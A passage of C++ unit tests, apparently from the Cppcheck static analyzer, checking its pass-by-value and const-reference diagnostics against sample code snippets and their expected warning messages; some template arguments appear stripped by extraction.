errout_str());\n\n check(\"struct S { char A[8][8]; };\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"union U {\\n\" // don't crash\n \" int a;\\n\"\n \" decltype(nullptr) b;\\n\"\n \"};\\n\"\n \"int* f(U u) { return u.b; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual int f(std::string s) = 0; };\\n\" // #11432\n \"struct D1 : B {\\n\"\n \" int f(std::string s) override { s += 'a'; return s.size(); }\\n\"\n \"}\\n\"\n \"struct D2 : B {\\n\"\n \" int f(std::string s) override { return s.size(); }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x(int);\\n\"\n \"void f(std::vector v, int& j) {\\n\"\n \" for (int i : v)\\n\"\n \" j = i;\\n\"\n \"}\\n\"\n \"void fn(std::vector v) {\\n\"\n \" for (int& i : v)\\n\"\n \" i = x(i);\\n\"\n \"}\\n\"\n \"void g(std::vector v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i];\\n\"\n \"}\\n\"\n \"void gn(std::vector v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i] = x(i);\\n\"\n \"}\\n\"\n \"void h(std::vector> v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i][0];\\n\"\n \"}\\n\"\n \"void hn(std::vector> v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i][0] = x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:10:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:18:38]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11995\n \" explicit S(std::string s) noexcept;\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"S::S(std::string s) noexcept : m(std::move(s)) {}\\n\"\n \"struct T {\\n\"\n \" explicit S(std::string s) noexcept(true);\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"T::T(std::string s) noexcept(true) : m(std::move(s)) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\" // #12086\n \" void g(int);\\n\"\n \"}\\n\"\n \"void f(std::vector v) {\\n\"\n \" N::g(v[0]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string& s, std::string t) {\\n\" // #12083\n \" const std::string& v = !s.empty() ? s : t;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:42]: (performance) Function parameter 't' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings settings0 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(\"struct S {\\n\" // #12138\n \" union {\\n\"\n \" int a = 0;\\n\"\n \" int x;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int b = 0;\\n\"\n \" int y;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int c = 0;\\n\"\n \" int z;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(S s) {\\n\"\n \" if (s.x > s.y) {}\\n\"\n \"}\\n\", /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings0);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::list l; };\\n\" // #12147\n \"class C { public: std::list l; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.l.empty();\\n\"\n \"}\\n\"\n \"bool f(C c) {\\n\"\n \" return c.l.empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:6:10]: (performance) Function parameter 'c' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S { std::list a[1][1]; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.a[0][0].empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" enum class E : std::uint8_t { E0 };\\n\"\n \" static void f(S::E e) {\\n\"\n \" if (e == S::E::E0) {}\\n\"\n \" }\\n\"\n \" char a[20];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v[2]);\\n\" // #13052\n \"void g(const std::vector v[2]);\\n\"\n \"void g(const std::vector v[2]) {}\\n\"\n \"int h(const std::array, 2> a) { return a[0][0]; }\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:45]: (performance) Function parameter 'a' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::array a[]) {}\\n\"); // #13524\n ASSERT_EQUALS(\"\", errout_str());\n\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using ui64 = unsigned __int64;\\n\"\n \"ui64 Test(ui64 one, ui64 two) { return one + two; }\\n\",\n /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_nonConst() {\n check(\"void f(std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" return str + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cout << str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cin >> str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:18]: (style) Variable 's2' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" const std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" str = \\\"\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" foo(str);\\n\" // It could be that foo takes str as non-const-reference\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::string* str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(&str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int& i1, const std::string& str, int& i2);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo((a+b)*c, str, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::string f(std::string str) {\\n\"\n \" str += x;\\n\"\n \" return str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" std::string s;\\n\"\n \" void func() const;\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" void func(std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:27]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(std::string str) {}\\n\" // Do not warn about virtual functions, if 'str' is not declared as const\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" char a[1024];\\n\"\n \"};\\n\"\n \"class Y : X {\\n\"\n \" char b;\\n\"\n \"};\\n\"\n \"void f(Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \"};\\n\"\n \"class Y {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \" char c;\\n\"\n \"};\\n\"\n \"void f(X x, Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:15]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n {\n // 8-byte data should be passed by const reference on 32-bit platform but not on 64-bit platform\n const char code[] = \"class X {\\n\"\n \" uint64_t a;\\n\"\n \" uint64_t b;\\n\"\n \"};\\n\"\n \"void f(X x) {}\";\n\n /*const*/ Settings s32 = settingsBuilder(_settings).platform(Platform::Type::Unix32).build();\n check(code, &s32);\n ASSERT_EQUALS(\"[test.cpp:5:10]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings s64 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(code, &s64);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"Writer* getWriter();\\n\"\n \"\\n\"\n \"void foo(Buffer& buffer) {\\n\"\n \" getWriter()->operator<<(buffer);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_externC() {\n check(\"struct X { int a[5]; }; void f(X v) { }\");\n ASSERT_EQUALS(\"[test.cpp:1:34]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(X v) { } }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; void f(const X v);\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(const X v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(const X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constVariable() {\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:10]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" const int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" static int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" x.push_back(1);\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" x[0]++;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a = 1;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a(); };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a();\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int& x);\\n\"\n \"int f(std::vector& x) {\\n\"\n \" g(x[0]);\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T&& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\\n\"\n \"void h() { std::vector v; h(v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& x) {\\n\"\n \" return std::move(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::ostream& os) {\\n\"\n \" os << \\\"Hello\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int& x) {\\n\"\n \" g(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A{&x};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& x, int& y) {\\n\"\n \" y++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" explicit A(int& y) : x(&y) {}\\n\"\n \" int * x = nullptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void swap(A& a) {\\n\"\n \" v.swap(a.v);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" template\\n\"\n \" void f();\\n\"\n \" template\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void g(A& a) {\\n\"\n \" a.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto&& x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'x' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #10980\n \" for (int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:6:16]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(const auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(int& i) {\\n\"\n \" int& j = i;\\n\"\n \" j++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" int& i = v[0];\\n\"\n \" i++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map >& m, unsigned int i) {\\n\"\n \" std::map& members = m[i];\\n\"\n \" members.clear();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int& x;\\n\"\n \" A(int& y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" A(int& x);\\n\"\n \"};\\n\"\n \"struct B : A {\\n\"\n \" B(int& x) : A(x)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int& x, int& y) {\\n\"\n \" auto& z = x;\\n\"\n \" auto& w = b ? y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"int& f(S& s) {\\n\"\n \" return s.i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int* f(std::list& x, unsigned int y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return &m;\\n\"\n \" }\\n\"\n \" return nullptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::list& x, int& y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool from_string(int& t, const std::string& s) {\\n\"\n \" std::istringstream iss(s);\\n\"\n \" return !(iss >> t).fail();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9710\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n //cast or assignment to a non-const reference should prevent the warning\n check(\"struct T { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const T& z = x;\\n\" // Make sure we find all assignments\n \" T& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = x\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::type& y = x;\\n\" // we don't know if y is const or not\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x)\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U const * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::fancy const * const * const y = dynamic_cast const * const * const>(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (typename const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (typename U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = (U*)(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n 